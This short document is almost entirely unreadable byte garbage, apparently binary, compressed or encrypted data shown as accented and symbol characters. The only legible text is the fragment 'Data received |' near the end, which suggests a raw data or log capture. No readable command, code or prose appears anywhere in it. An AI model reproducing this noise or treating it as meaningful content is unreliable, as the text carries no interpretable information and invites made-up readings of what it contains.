¯~ÏlkBa5-Ó|Àùɸ.Ùµ;8ºl`!Ô¨)|á æ00¯¤àû+gnÎuN¿ ÛÊ÷Ðfõ Õ?Ä*RGJãcgdÓy³tÊ2jÇ¢¼Pew±íwà8;ÜV·Æ}§êtÈ \m6iBñÙï [jÖà Jø4ÙT£Àç¸ã²-ÎzÌ¿7æäÖÊÙ-Gw=Ç Õ,ú&¨R¨ ½ g CsdÊjÑ{áÒú·iüC%nÏ Ñõ'Z9¤ú7ìiød¥Í»ÌÝg´p·õóYU_]¡ç7|¾¤É2dÑý"2±S[%·ËÜNm_aãýÀp3ã9@Hpð@Ñ~ñ#RcÊ·+j¢xAçLÈÑ Àb¨ÜѾ8íUÃ]=s0§õTÂBh}ͼ 0ày[ÿùñ;d9ÞéðèATÐg½§n«ùÜsö@¡éÙ d½Øªr\<$]óWåÕùçF&>êñ©#§§<j§VvÒÞw3»ºV¶&vJ=Z^LÀ£!äÄúSäcʯàj¶*ÝÙÂNwï9¯È¯7(K¿Òì(¸®³¯E H¹RhYÁÝò¹Ïcºì´SºòãÆk>URo&9Ë]e©_KîPyå°§±QëôÏ9>xQV8¤Û\¶;7Ô".æg3ÿí,G¤ ÁÑ?-¼ý¨¸úw,!äú½¿Q^vd !ÁéÿO¾]>/UÒ½t}¦P |
Data received | ¶7;+u¼à£r§t`o*SÅÆêûéÓY Ð'vyXO¯ûÇèEAê Í3oªùxÐ}"úÎ5 XdtL?ÛÎ Elbª/F%q鶻¸öæ È"çâÌB®é³÷< |